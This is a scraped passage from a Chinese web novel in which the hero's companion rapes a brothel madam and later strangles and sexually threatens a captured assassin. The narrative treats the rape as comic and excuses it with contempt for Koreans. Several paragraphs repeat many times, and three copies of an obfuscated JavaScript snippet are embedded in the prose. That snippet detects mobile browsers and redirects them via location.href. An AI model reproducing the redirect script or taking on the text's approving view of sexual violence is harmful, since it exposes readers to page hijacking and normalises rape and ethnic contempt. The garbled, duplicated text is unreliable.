说过说,闹过闹,可你不能强上啊! “你干什么!我不要!你放开我!” “小娘们,怎么?在胖爷面前立牌坊?嗯?像你这样的老鸨胖爷上过的何止十个八个?乖乖就范吧你!哈哈哈哈!” “啊!!啊!!别!” 老鸨双手被胖子一只手按住,死命挣扎,两条腿在空中乱踢。 胖子的大体格被踹两脚也不在意,该干什么干什么。 老鸨喊道:“你放开我!你知不知道我是谁!” 胖子哈哈大笑:“我当然知道啊,你是胖爷的小美人!嘿嘿嘿!” “你”老鸨突然闭嘴,声音戛然而止,紧随其后的是罗汉床的声音。 老鸨把无奈与恳求的模样瞟向林臻。 希望他可以劝劝这个不懂规矩的人。 但林臻才不会管她呢。 别人都可以上,我兄弟不能上? 再说了,她一个韩国人,林臻没有任何心理负担。 原始动物的衾裯,林臻没有任何兴趣,她走到临近舞台的边缘,目光灼灼地看着下面舞娘翩翩起舞。 突然,隔壁包厢传来一个声音。 “哈哈哈哈,这次林臻死定了!” 这下老鸨表情可变了。 说过说,闹过闹,可你不能强上啊! “你干什么!我不要!你放开我!” “小娘们,怎么?在胖爷面前立牌坊?嗯?像你这样的老鸨胖爷上过的何止十个八个?乖乖就范吧你!哈哈哈哈!” “啊!!啊!!别!” 老鸨双手被胖子一只手按住,死命挣扎,两条腿在空中乱踢。 胖子的大体格被踹两脚也不在意,该干什么干什么。 老鸨喊道:“你放开我!你知不知道我是谁!” 胖子哈哈大笑:“我当然知道啊,你是胖爷的小美人!嘿嘿嘿!” “你”老鸨突然闭嘴,声音戛然而止,紧随其后的是罗汉床的声音。 老鸨把无奈与恳求的模样瞟向林臻。 希望他可以劝劝这个不懂规矩的人。 但林臻才不会管她呢。 别人都可以上,我兄弟不能上? 再说了,她一个韩国人,林臻没有任何心理负担。 原始动物的衾裯,林臻没有任何兴趣,她走到临近舞台的边缘,目光灼灼地看着下面舞娘翩翩起舞。 突然,隔壁包厢传来一个声音。 “哈哈哈哈,这次林臻死定了!” 第454章 她很可能是暗桩 林臻自从被噬心蛊改造知道身体正在逐渐焕发出前所未有的潜能。 就比如听力。 这里是歌舞场。 楼下你方唱罢我登场身后旖旎暧昧之声跌宕。 就是在这样的环境中他还是能够听到隔壁的议论声而且分辨得十分清晰。 这算不算物理外挂? “哈哈哈哈林臻这回是死定了!韩雷说他居然接下了岭山的铁矿开发!” “岭山怎么了?为什么死定了?” “岭山的百姓特别抱团只要有一个不愿意干其他人肯定也不愿意干。而且岭山确实有铁矿但全都是树。现在是夏天很多冻土还没化开呢百姓肯定不愿意被动员。再说想挖矿就得先砍树你觉得百姓会同意?这样一来林臻源源不断地把二锅头送到我们国家结果他却一连一斤铁都拿不走他会不会急?一旦急了他就什么事情都干得出来!如果他敢动岭山的村民我们就可以联合各国讨伐乾国!说他们草菅人命不顾百姓!” “那也不至于死啊他可是乾国的驸马。哦不对说驸马不准确总之就是皇帝的丈夫。那个专注穿衣服的女帝总不至于连自己丈夫都杀吧?” “就算不杀也会给乾国带来非常不好的影响总之这件事情对我们几家都很有利!只要等门主在南楚把计划铺开收拾乾国就是早晚的事情!我们只需要在博望牵制住林臻即可!” “大哥果然深谋远虑来来来再干一杯!” “哈哈哈哈!” 几人碰杯的声音传来。 林臻露出一丝冷笑。 人确实会在万分焦急的情况下做出很多超乎常理的事情但这绝不包括他林臻。 只是很可惜没有在这些人的对话中听出来人的名字。 “大哥 “此言有理!哈哈哈哈该说不说这博望县质量最高最会玩的肯定是燕子!腿能掰到脑袋上去喊过来喊过来!” 林臻回头看了看罗汉床。 难道说这个老鸨就是三娘? 原书里可没有提韩国的内部事情所以他根本不认识。 但是几分钟后包厢的门被敲响。 咚咚咚—— 胖子正忙着呢。 林臻也没有亲自开门的习惯。 最重要的是三娘也没有喊叫就闭着眼睛忍受胖子。 估计她也是不好意思让小厮进来看到自己 的窘态吧。 但是这个小厮明显不识趣,见没人开门,自己竟然推门走了进来。 一进门就看到罗汉床上的三娘和胖子。 他顿时神情大骇:“三娘!!” 小厮冲过来,胖子扬起手。 啪—— 一个大耳刮子就抽在他脸上,小厮当即就昏死过去。 到现在,三娘才喊了一声:“大牛!” “你个死胖子,那是我弟弟!” “胖爷管你什么大牛小牛的?敢打扰胖爷的雅兴就是死!” “你个狗东西,你给我起来!” “我不起!” “起来!” “我就不起!” “**的.” 三娘在博望县也算有头有脸的人,什么时候被这么欺负过?见胖子死**来,她也没办法,只好继续忍受。 林臻看了几分钟觉得有些无趣。 说来也对。 这又不是岛国影片。肥猪拱白菜而已,有什么好看的?而且还是颗烂白菜。 不过趁这个空挡,隔壁又有哈哈大笑的声音传来。 应该是那个叫燕子的姑娘过去了。可想而知,那姑娘会受到什么待遇。 前后左右都是这样的声音,这让林臻很是苦恼,于是走过去拍了拍胖子的后腰。 “差不多得了。” “马上马上。奶奶的,这老鸨子看着不错,谁知竟如此松松垮垮。” 林臻:. 三娘听胖子恶心自己,更是气不打一处来。 “你说什么!!那**倒是起来啊!” “就不起!” 林臻又等了等,胖子这才怒吼一声站起来。 踉跄几步,拿起桌子上的酒盏咕嘟咕嘟一饮而尽。 老鸨子脸色不变,起身穿好衣服,指着胖子说:“死胖子,你给老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430496|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘等着!” 胖子浑不在意,摆摆手:“等什么等啊?胖爷又不是不给钱。” 言罢拿起那个大银锭,直接丢了过去。 谁知三娘竟然直接躲开,连看都没看,低下身把被打晕的大牛扶起来,两人走了出去。 胖子敞开胸口,舒爽地坐在罗汉床上,目光时不时地瞟向楼下舞台。 胸毛在烛火的照耀下闪烁着幽暗的光泽,也不知道多久没洗澡了。 这样的床林臻可坐不下。 他自顾自地拿来一张椅子,坐下后这才说道:“明天去岭山,我有安排。” “没 问题啊。但是大哥,我有个问题想不明白。” “呦?你也学会思考了?” 胖子一拍胸毛:“你瞧你这是什么话?胖爷是胖,但是不蠢!刚才这老鸨子应该有点背景,恐怕不是普通人。” “什么意思?”说到这,林臻也皱起眉头。 胖子解释说:“按道理讲,老鸨子来自两个阶层。一是从底层干起来娼马子;二就是老板招来的掌柜。这女人的身段看起来有三十,但实际摸起来能有二十就不错了。这个年龄是不可能当老鸨的,也就是说,她是被安插在这里的掌柜,或者暗桩。” “摸起来?真的假的?” “你看.啧.唉,大哥啊,你可以怀疑胖爷的性别,但是你不能怀疑胖爷这些年在勾栏里摸爬滚打的经验!这个女人,绝对不超过二十!而且胖爷刚才是故意说话激她的,人家根本就不松垮。” “所以呢?那又能说明什么?” “这个女人,很可能是个暗桩,而且不是韩国的,应该是别国派过来钉在这里监视什么的。而且你看,刚才她虽然叫嚷的厉害,但是却并没有多反抗,事后的那种淡定也绝不是普通女子能有的,这说明,她其实并不想把事情闹大,从而暴露自己的身份。” 林臻看他分析得一套一套的,还真来了兴趣。 “你觉得他不会喊人过来找你的麻烦?” 胖子摆摆手:“绝对不会,你若不信我们打个赌,半个时辰内,如果不来人,就算胖爷赢!” 第455章 真的三娘,恐怕已经被她杀了。 其实这赌都不用打。 因为有时候打脸来得就是这么快。 胖子话音刚落,林臻还正沉吟呢,觉得胖子的话有几分道理,可谁知道两人身后的包厢门一脚被人踹开。 砰—— 木门狠狠撞击在墙面上,发出震耳欲聋的声响。 瞬间整个歌舞场都安静了。 舞娘停止了跳跃,**停止了**,端茶倒酒的小姑娘也纷纷停下脚步。 楼下的人看着楼上,楼上的人半个身子探出围栏,使劲往楼下瞅。 三娘掐着腰,指着胖子说道:“就是这个死胖子!” 胖子老脸一红,黑黢黢的手使劲抹了抹脸。 “大哥,今天算弟弟看走眼了。” 林臻觉得有些好笑地靠在椅背上,双手抱肩翘起二郎腿说道:“你向来如此,亏我刚才还听得劲劲儿的。” “奶奶的。”胖子站起来,一把抄起花瓶攥在手里,“打胖爷脸是不是?” “死胖子,放眼博望县,敢上老娘的你也算蝎子粑粑独一份!今天不要了你的狗命,我三娘以后还怎么在博望城里混?给我打!” 身后几个小厮拿着棒子**,径直就冲了上来。 真是厕所大灯笼找死啊。 就你们这几头腊八蒜也敢在胖子面前装狠充愣,这不是找打吗? 你知不知道,胖子杀得过的人比你们三个博望县人口还多啊? “死胖子,跪下!!”一个不起眼的安保人员好像对能在三娘面前表现很期待,抡着**就冲了上来。 胖子不躲不闪,花瓶从胯骨的位置抡起来。 啪—— 花瓶碎了满地。 那人的动作在空中戛然而止,身体软绵绵地躺在地上,很快鲜血便染红了地毯。 剩下的几个小厮面面相觑,但想想胖子就一个人,就算再能打也是双拳难敌四手,于是纷纷冲上来。 胖子打架从来不含糊,一脚踹飞一个,随即抓住一人的手腕将他从二楼扔了下去,最后一个更惨,正面挨了胖子一记铁拳。 砰—— 整张脸瞬间就凹了下去。 三娘脸色一变。 她也没想到胖子居然这么能打,脸色铁青的看着他:“死胖子,你知不知道我是谁!” “胖爷说过,不管你是谁,但是你今天当着胖爷大哥的面,打了胖爷的脸,这笔账,胖爷就必须得跟你算算!” “我可是县令韩雷的干女儿!你连我都敢欺负,我现在就 去县衙带兵过来,有种你就在这等着!” “噗——”林臻没忍住笑了出来。 县令的干女儿。 这关系不一般啊。 但是你在胖子面前搬出县令来.只能说你这个外五县瑜伽裤太没有眼力了。 很多时候就是这样,平平无奇的女人因为跟县令有点关系,于是就在县里作威作福的。 平常还无所谓,毕竟县令在县里权力极大,贪的也多,人送绰号都是什么老大、什么老虎的。 可一旦遇到像林臻、胖子这样的真纨绔,弄死你就是一句话的事情。 所以说,别把县令当回事,那就是个芝麻绿豆大的官。 三娘见林臻发笑,更是恼怒。 “你笑什么!” “我笑你无知啊,别说你把兵丁找来,就算把韩雷亲自找来,在我们面前,也不够看。” “谁这么大口气啊?”话音刚落,三娘身后就走出来个人。 林臻还没看清呢,就见到三娘搂住他的手臂不断摇晃。 “干爹!我今天被猪给用了!就是他就是他!” 林臻都没站起来。 像韩雷这样的官员,平时连见他的资格都没有。 韩雷也看到了林臻,突然一愣,随即冷笑道:“原来是乾国世子大人,您也**啊?” 胖子手里拿着一块花瓶碎片,指着他,说道:“少废话,就他妈你叫韩雷啊?” 韩雷脸色一变,无所畏惧地往前走了两步,刚要说话。 谁知就在此时,她身后的三娘突然掏出一把**,噗的一下捅进韩雷后腰! 噗—— “**!” 林臻和胖子都吓了一跳。 三娘手的很快,**又捅了一下,随即转头就跑。 胖子懵了:“大哥,我就说这娘们有问题吧!!” “猴子!追上去!务必把她带回来!” “是!” 一直在包厢外喝茶水的侯春立刻窜了出去。 林臻愣在原地,看着不断往外喷血的韩雷,一时间心里真不是滋味。 这明显是被人罢了一道啊。 这下好了,用脚丫子想都知道,明天大街小巷都会传林臻因没有收到生铁而怒杀博望县县令,从而引起韩国与乾国之间的**。 然后煊赫门以此为机会,大肆宣扬乾国暴虐,让世界各国对乾国嗤之以鼻,也间接性让林臻当初设想的不战而屈人之兵计划彻底崩盘。 高啊。 但是林臻想不明白,这个三娘是对方什么时候埋下的? 怎么偏偏就在今天动手了呢? 为什么会这么巧合? 如果不是胖子说去青楼,林臻不会来。 如果胖子不死拉硬拽,林臻也不会来。 这群人凭什么就能提前算到胖子和林臻会来青楼呢? 韩雷刚和林臻见完面,为什么也会来青楼呢? 按理说一个县令,对县里的一切都知根知底,怎么可能会在见完别国世子后第一件事是去青楼?这根本就不符合常理。 林臻身体摇晃了两下,坐下还有水渍的罗汉床上。 他目光盯着那尚未干涸的印花,以及凌乱的垫子。 他想不通,也想不明白。 一个女人,而且是博望县里家喻户晓的老鸨,居然会是别人早就安插下去的暗桩,只等林臻出现,给予韩雷致命一击,达成栽赃的目的。 不对。 林臻怎么想也觉得不可能。 就算对方再神通广大,也不可能会提前算到什么。 应该是他们看到了林臻和胖子走进青楼,所以才将计就计想到这个釜底抽薪的办法。 一边让三娘与胖子迎合,拖延时间,一边派人去把韩雷接到青楼。 而三娘刚才怒气冲冲的出去就是想看看韩雷是否已经到了。 在得到确切消息后,她才再次带人进来找场子。 而身为她干爹的韩雷听闻她被欺负肯定是要来看看的,于是就发生了刚才这一幕。 妙。 这招确实妙。 林臻有被这个招数震惊到,但是他还不至于慌了手脚。 因为他们千算万算也没算到。 林臻身边,有个轻功很厉害的人。 这个三娘,跑不掉。 不。 应该说是这个假三娘。 因为真的三娘,恐怕已经被她杀了。 但是林臻想不明白,这个三娘是对方什么时候埋下的? 怎么偏偏就在今天动手了呢? 为什么会这么巧合? 如果不是胖子说去青楼,林臻不会来。 如果胖子不死拉硬拽,林臻也不会来。 这群人凭什么就能提前算到胖子和林臻会来青楼呢? 韩雷刚和林臻见完面,为什么也会来青楼呢? 按理说一个县令,对县里的一切都知根知底,怎么可能会在见完别国世子后第一件事是去青楼?这根本就不符合常理。 林臻身体摇晃了两下,坐下还有水渍的罗汉床上。 他目光盯着那尚未干涸的印花,以及凌乱的垫子。 他想不通,也想不明白。 一个女人,而且是博望县里家喻户晓的老鸨,居然会是别人早就安插下去的暗桩,只等林臻出现,给予韩雷致命一击,达成栽赃的目的。 不对。 林臻怎么想也觉得不可能。 就算对方再神通广大,也不可能会提前算到什么。 应该是他们看到了林臻和胖子走进青楼,所以才将计就计想到这个釜底抽薪的办法。 一边让三娘与胖子迎合,拖延时间,一边派人去把韩雷接到青楼。 而三娘刚才怒气冲冲的出去就是想看看韩雷是否已经到了。 在得到确切消息后,她才再次带人进来找场子。 而身为她干爹的韩雷听闻她被欺负肯定是要来看看的,于是就发生了刚才这一幕。 妙。 这招确实妙。 林臻有被这个招数震惊到,但是他还不至于慌了手脚。 因为他们千算万算也没算到。 林臻身边,有个轻功很厉害的人。 这个三娘,跑不掉。 不。 应该说是这个假三娘。 因为真的三娘,恐怕已经被她杀了。 但是林臻想不明白,这个三娘是对方什么时候埋下的? 怎么偏偏就在今天动手了呢? 为什么会这么巧合? 如果不是胖子说去青楼,林臻不会来。 如果胖子不死拉硬拽,林臻也不会来。 这群人凭什么就能提前算到胖子和林臻会来青楼呢? 韩雷刚和林臻见完面,为什么也会来青楼呢? 按理说一个县令,对县里的一切都知根知底,怎么可能会在见完别国世子后第一件事是去青楼?这根本就不符合常理。 林臻身体摇晃了两下,坐下还有水渍的罗汉床上。 他目光盯着那尚未干涸的印花,以及凌乱的垫子。 他想不通,也想不明白。 一个女人,而且是博望县里家喻户晓的老鸨,居然会是别人早就安插下去的暗桩,只等林臻出现,给予韩雷致命一击,达成栽赃的目的。 不对。 林臻怎么想也觉得不可能。 就算对方再神通广大,也不可能会提前算到什么。 应该是他们看到了林臻和胖子走进青楼,所以才将计就计想到这个釜底抽薪的办法。 一边让三娘与胖子迎合,拖延时间,一边派人去把韩雷接到青楼。 而三娘刚才怒气冲冲的出去就是想看看韩雷是否已经到了。 在得到确切消息后,她才再次带人进来找场子。 而身为她干爹的韩雷听闻她被欺负肯定是要来看看的,于是就发生了刚才这一幕。 妙。 这招确实妙。 林臻有被这个招数震惊到,但是他还不至于慌了手脚。 因为他们千算万算也没算到。 林臻身边,有个轻功很厉害的人。 这个三娘,跑不掉。 不。 应该说是这个假三娘。 因为真的三娘,恐怕已经被她杀了。 但是林臻想不明白,这个三娘是对方什么时候埋下的? 怎么偏偏就在今天动手了呢? 为什么会这么巧合? 如果不是胖子说去青楼,林臻不会来。 如果胖子不死拉硬拽,林臻也不会来。 这群人凭什么就能提前算到胖子和林臻会来青楼呢? 韩雷刚和林臻见完面,为什么也会来青楼呢? 按理说一个县令,对县里的一切都知根知底,怎么可能会在见完别国世子后第一件事是去青楼?这根本就不符合常理。 林臻身体摇晃了两下,坐下还有水渍的罗汉床上。 他目光盯着那尚未干涸的印花,以及凌乱的垫子。 他想不通,也想不明白。 一个女人,而且是博望县里家喻户晓的老鸨,居然会是别人早就安插下去的暗桩,只等林臻出现,给予韩雷致命一击,达成栽赃的目的。 不对。 林臻怎么想也觉得不可能。 就算对方再神通广大,也不可能会提前算到什么。 应该是他们看到了林臻和胖子走进青楼,所以才将计就计想到这个釜底抽薪的办法。 一边让三娘与胖子迎合,拖延时间,一边派人去把韩雷接到青楼。 而三娘刚才怒气冲冲的出去就是想看看韩雷是否已经到了。 在得到确切消息后,她才再次带人进来找场子。 而身为她干爹的韩雷听闻她被欺负肯定是要来看看的,于是就发生了刚才这一幕。 妙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怎么偏偏就在今天动手了呢? 为什么会这么巧合? 如果不是胖子说去青楼,林臻不会来。 如果胖子不死拉硬拽,林臻也不会来。 这群人凭什么就能提前算到胖子和林臻会来青楼呢? 韩雷刚和林臻见完面,为什么也会来青楼呢? 按理说一个县令,对县里的一切都知根知底,怎么可能会在见完别国世子后第一件事是去青楼?这根本就不符合常理。 林臻身体摇晃了两下,坐下还有水渍的罗汉床上。 他目光盯着那尚未干涸的印花,以及凌乱的垫子。 他想不通,也想不明白。 一个女人,而且是博望县里家喻户晓的老鸨,居然会是别人早就安插下去的暗桩,只等林臻出现,给予韩雷致命一击,达成栽赃的目的。 不对。 林臻怎么想也觉得不可能。 就算对方再神通广大,也不可能会提前算到什么。 应该是他们看到了林臻和胖子走进青楼,所以才将计就计想到这个釜底抽薪的办法。 一边让三娘与胖子迎合,拖延时间,一边派人去把韩雷接到青楼。 而三娘刚才怒气冲冲的出去就是想看看韩雷是否已经到了。 在得到确切消息后,她才再次带人进来找场子。 而身为她干爹的韩雷听闻她被欺负肯定是要来看看的,于是就发生了刚才这一幕。 妙。 这招确实妙。 林臻有被这个招数震惊到,但是他还不至于慌了手脚。 因为他们千算万算也没算到。 林臻身边,有个轻功很厉害的人。 这个三娘,跑不掉。 不。 应该说是这个假三娘。 因为真的三娘,恐怕已经被她杀了。 但是林臻想不明白,这个三娘是对方什么时候埋下的? 怎么偏偏就在今天动手了呢? 为什么会这么巧合? 如果不是胖子说去青楼,林臻不会来。 如果胖子不死拉硬拽,林臻也不会来。 这群人凭什么就能提前算到胖子和林臻会来青楼呢? 韩雷刚和林臻见完面,为什么也会来青楼呢? 按理说一个县令,对县里的一切都知根知底,怎么可能会在见完别国世子后第一件事是去青楼?这根本就不符合常理。 林臻身体摇晃了两下,坐下还有水渍的罗汉床上。 他目光盯着那尚未干涸的印花,以及凌乱的垫子。 他想不通,也想不明白。 一个女人,而且是博望县里家喻户晓的老鸨,居然会是别人早就安插下去的暗桩,只等林臻出现,给予韩雷致命一击,达成栽赃的目的。 不对。 林臻怎么想也觉得不可能。 就算对方再神通广大,也不可能会提前算到什么。 应该是他们看到了林臻和胖子走进青楼,所以才将计就计想到这个釜底抽薪的办法。 一边让三娘与胖子迎合,拖延时间,一边派人去把韩雷接到青楼。 而三娘刚才怒气冲冲的出去就是想看看韩雷是否已经到了。 在得到确切消息后,她才再次带人进来找场子。 而身为她干爹的韩雷听闻她被欺负肯定是要来看看的,于是就发生了刚才这一幕。 妙。 这招确实妙。 林臻有被这个招数震惊到,但是他还不至于慌了手脚。 因为他们千算万算也没算到。 林臻身边,有个轻功很厉害的人。 这个三娘,跑不掉。 不。 应该说是这个假三娘。 因为真的三娘,恐怕已经被她杀了。 第456章 因为浣碧夫人在世子的房间里 为什么这么说呢? 因为从这个女人出刀的速度和力度来看,她明显是个**,而且是非常专业的那种。 她来到这里,杀掉了三娘,然后按照三娘的模样乔装。 这种乔装手段也非常高明,竟没有人能认出来。 可能也和这里灯光昏暗有关系。 乔装之后,见林臻和胖子走进,便故意贴上来殷勤伺候。 她本意是想拖延时间等韩雷过来,但没想到胖子居然把她强迫了,她正好将计就计,几乎是以半推半就的样子配合胖子,就等最后这一手。 林臻觉得自己分析得非常透彻,但这里面也有一个漏洞。 那就是这个女**到底是什么时候乔装成三娘样子的呢? 如果她早在林臻进门的时候就乔装了,那这就说明她原本想杀的人并不是韩雷。 但如果是林臻进门后乔装的,这个假三娘和真三娘是如何调包的呢. 林臻一时间有些想不通,不过也没工夫想了。 县令死在自己县内的青楼,这可是件大事,县衙的捕快、衙役以及少数护卫城池的兵丁都悉数来到,其余客人听说县令**,也纷纷抱头就跑,跑到外面后觉得安全了就继续看热闹。 林臻脸色阴沉的坐在椅子上,胖子大大咧咧地躺在罗汉床上,两人都没有任何慌乱。 博望县县丞李建亲临现场,当见到韩雷的尸体时也吓了一跳。 但他心里清楚,眼前这位犯罪嫌疑人可不是什么善男信女,更不是随随便便就能抓走的阿猫阿狗,于是他走上前,双手作揖,十分恭敬地对林臻说。 “世子,这件事情,您是不是得给个解释?本官也好向上汇报啊。” “没什么好解释的,他是被刺客暗杀的,刺客已经跑了。” “你说被刺客暗杀就是被刺客暗杀?如果这么简单就能破案还要律法做什么?请世子见谅,你现在必须得跟我们回县衙。” 胖子浑不在意地说:“如果我们不愿意呢?” 李建看胖子那样子就很不爽利。 不就是个纨绔子弟吗?得意什么? “那就只能得罪了。”李建咬牙。 林臻说:“博望楼的老鸨三娘是假的,真的三娘应该已经被她做掉了,你们不妨去查查,看看这博望楼里有没有三娘的尸体?如果没有,我跟你回县衙。” 包厢内,捕快、捕头、兵丁等人都是面面相觑。 他们不明白,县令都**,这么大的事情,县丞还跟他们俩客 气什么。 直接抓走不就行了? 李建有些犹豫。 因为这件事情一旦处理不好就是国际**。 大乾现在实力强胜,兵多将广,如果自己对林臻做了什么,他那位在皇宫里的老婆肯定会报复。 到时候韩国朝廷迫于压力,就会把自己献出去。 横竖都是死,这活儿不好干啊。 李建说道:“立刻去搜!” “是!” 捕快们答应一声,带着兵丁离开包厢。 林臻靠在椅子上等消息,过程中也没忘记思考。 这个女**应该不是煊赫门的人,估计是哈德门埋下的暗线,为的就是挑起煊赫门与林臻的冲突,如此显而易见的事情却最容易搬弄是非。 韩雷在煊赫门中是什么地位林臻不知道,但林臻知道他和韩天星一个姓氏,不是嫡系就是旁系。 他**,煊赫门一定会追究到底。 “砰!”包厢的门被推开。 捕快神色慌张地说:“大人,小的确实在一楼仓库里找到了三娘的尸体!而且刚死不久!” “什么!”县丞神情大骇。 现在情况已经一目了然了,就是女刺客乔装成三娘,暗杀了韩雷。 既然如此,林臻今天是无论如何也不能带走了。 李建走过来,再次对林臻作揖:“世子,您能否告诉在下,刚刚都发生了什么?” 说到这,李建忙摆摆手:“不是对您不信任,而是在下需要知道过程,好尽快破案,上报朝廷。” “这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在林臻看来,审问个**远远没有比让浣碧睡个舒服觉更重要。 再者,林臻了解胖子的行为。 今天晚上这场审讯肯定会不同寻常,说不定还要有些肢体接触以及男女之欢,所以才提醒他动静小一些,搞出什么绯闻来对大家的名声不好。 否则别人还以为乾国世子和大将军的儿子躲在驿站里欺负良家少女呢。 林臻让侯春继续坐下吃饭,自己则是来到二楼。 驿站没有几个工作人员,见到林臻的瞬间也只是简单打个招呼,便匆匆退下。 推开包厢的门,只见浣碧正趴在桌子上睡得香甜,手里的针线散落在桌子上,看起来又乖巧又惹人心疼。 林臻走过去一只手伸进腿弯,一只手搂住蛮腰,将她横抱起来。 “啊!!”浣碧吓了一跳,瞬间惊醒。 见是林臻,便脸蛋红润地说道:“夫君,妾身妾身刚才有些困,就睡着了。” “没事,我们躺下好好睡。” “嗯可是妾身今天不方便呢。” “哦?我只是说睡觉而已,有什么不方便的?”林臻坏笑着将浣碧放在床上。 这不是他第一次逗浣碧,后者也猜到是玩笑,但未免依旧脸红,扭扭捏捏地转过身不理他。 林臻鞋也不脱,就靠在床边躺下,从身后搂住她。 嘴角暧昧地贴靠在她的耳边。 浣碧可以清楚感觉到林臻呼出的滚滚热气,好像有一万只蚂蚁在心尖上爬。 “碧儿~身子不方便,嘴巴是否方便?” “不方便!” “这都能说话呢,怎么不方便?” “就是不方便哎呀哈哈哈哈!”林臻突然在她肋骨间抓挠起来。 逗得浣碧哈哈大笑。 两人绝对不能算老夫老妻,但这么多时间相处下来早就没了那股子新鲜感。 不过林臻向来不是那种喜新厌旧的性格,相反,他是一个连石头长时间攥在手里都舍不得扔掉的人,所以他对这么多妻妾基本都是平均待遇,从来没有娶了新人忘旧人的事情发生。 浣碧被他臊得不行,最后用蚊子般的声音点点头。 林臻大喜。 这些妻妾里,唯独浣碧对这个有点排斥,今天可算能乐呵乐呵。 可谁知,林臻还没脱衣服呢,隔壁就传来胖子的哈哈大笑。 “哈哈哈哈!小娘们,我们又见面了!” “落在胖爷手里,有你受的!你若识相就乖乖听话, 胖爷还能看在和你欢好过的份上,饶你一命!” **,这房子这么不隔音? 浣碧也意识到这个问题,想起刚刚她和林臻的对话与打闹,脸更是红成个大苹果,忙不迭地把头埋进被子里,再也不出来了。 被胖子这一嗓子搅和完,林臻也没了兴致,干脆把衣服脱掉放好,陪着浣碧一起躺下。 想伸手给浣碧暖暖肚子,可小丫头死活不愿意,身体紧紧地贴着墙壁,都快镶嵌进去了。 林臻这才想起,自己这些妻妾,好像没有一个痛经的。 那为什么后世那么多姑娘都痛经呢?这玩意真的是因为饮食和作息习惯导致的吗? 另一边。 胖子大马金刀地走到床边坐下,对面靠墙的就是嘴巴被塞住,头发乱糟糟的假三娘。 趁着月光可以看出,她出落的很是标致,如果不化三娘的妆应该是个可以和静澜媲美的娇娥。但是很可惜,她是**。 胖子对**其实没那么反感,但是你伤害我大哥,那就是你的不对了。 可以说,胖子的逆鳞很少,林臻是为数不多之一。 胖子脱掉长衫,露出满是胸毛的精壮上身,坐在床边双手撑着膝盖。 一双虎目定睛看着蜷缩在墙壁角落的女**。 “草,装鸡毛可怜啊?”胖子最受不了女人楚楚可怜的表情,通常女人只要一哭,他就会心软,然后干得更狠。 假三娘眼角有泪,月光照在她的脸上十分憔悴。 胖子冷笑一声:“呵,别以为胖爷不知道你能把自己嘴里的抹布吐出来,别装了,没意思,抓紧交代你的犯罪事实,争取宽大处理,这才是你的唯一出路!” 果然。 假三娘只用了几下,便把嘴里的抹布咬了出来,然后狠狠吐在地上,声音清冷的说道。 “没看出来,你这胖子还有点实力。” “实力谈不上,就是**杀得多,积累下来的经验而已。” “呵,追我的那个人是谁?”假三娘对自己的轻功很自信,却没想到被侯春追到,还抓了回来。 胖子笑了:“噗呵呵呵,女人,你知不知道,你今天坑的人是谁啊?” “乾国世子。” “那你觉得,堂堂世子,手下会没有几个高手保护吗?” “你算高手吗?” “你说呢?”胖子站起来,扭了几下腰。 虽然是扭腰,但那前前后后的动作是个人都能看明白。 假三娘没有害羞,没有闪躲,甚至嘴角再次牵起冷笑:“呵,你不知道你很小吗?” “胖人都这样,不过对胖爷来说,舒爽便罢,大小并不重要。” 这个人.和传闻中不符啊。 情报里说,这个王胖子是个极其易怒的人,只要稍微刺激就会做出出格的事情。 假三娘见胖子不生气,暗暗有些埋怨给她情报的人,脸上却不动声色。 “我是煊赫门的人,是上峰派我来暗杀韩雷的。” 胖子走过来,蹲在他面前。 他清楚看到,假三娘在这个瞬间,偷偷攥紧了衣袖。 “少在胖爷面前耍花招,你那点武功根本伤不到胖爷。而且你也不是煊赫门的人,还是乖乖说实话,以免受皮肉之苦。” “你敢滥用私刑?” “呵,这个世界上就没有胖爷不能做的事情。”言罢胖子突然出手,狠狠掐住假三娘的脖子。 那只犹如铁钳般的大手瞬间让假三娘缺氧,脸色涨得通红。 她松开袖子,两只手去掰胖子的手,却无论如何也掰不开。 胖子盯着她,恶狠狠地说:“胖爷最后再说一遍,老实交代,否则.胖爷有一百种方法,让你爽个够!” 胖爷还能看在和你欢好过的份上,饶你一命!” **,这房子这么不隔音? 浣碧也意识到这个问题,想起刚刚她和林臻的对话与打闹,脸更是红成个大苹果,忙不迭地把头埋进被子里,再也不出来了。 被胖子这一嗓子搅和完,林臻也没了兴致,干脆把衣服脱掉放好,陪着浣碧一起躺下。 想伸手给浣碧暖暖肚子,可小丫头死活不愿意,身体紧紧地贴着墙壁,都快镶嵌进去了。 林臻这才想起,自己这些妻妾,好像没有一个痛经的。 那为什么后世那么多姑娘都痛经呢?这玩意真的是因为饮食和作息习惯导致的吗? 另一边。 胖子大马金刀地走到床边坐下,对面靠墙的就是嘴巴被塞住,头发乱糟糟的假三娘。 趁着月光可以看出,她出落的很是标致,如果不化三娘的妆应该是个可以和静澜媲美的娇娥。但是很可惜,她是**。 胖子对**其实没那么反感,但是你伤害我大哥,那就是你的不对了。 可以说,胖子的逆鳞很少,林臻是为数不多之一。 胖子脱掉长衫,露出满是胸毛的精壮上身,坐在床边双手撑着膝盖。 一双虎目定睛看着蜷缩在墙壁角落的女**。 “草,装鸡毛可怜啊?”胖子最受不了女人楚楚可怜的表情,通常女人只要一哭,他就会心软,然后干得更狠。 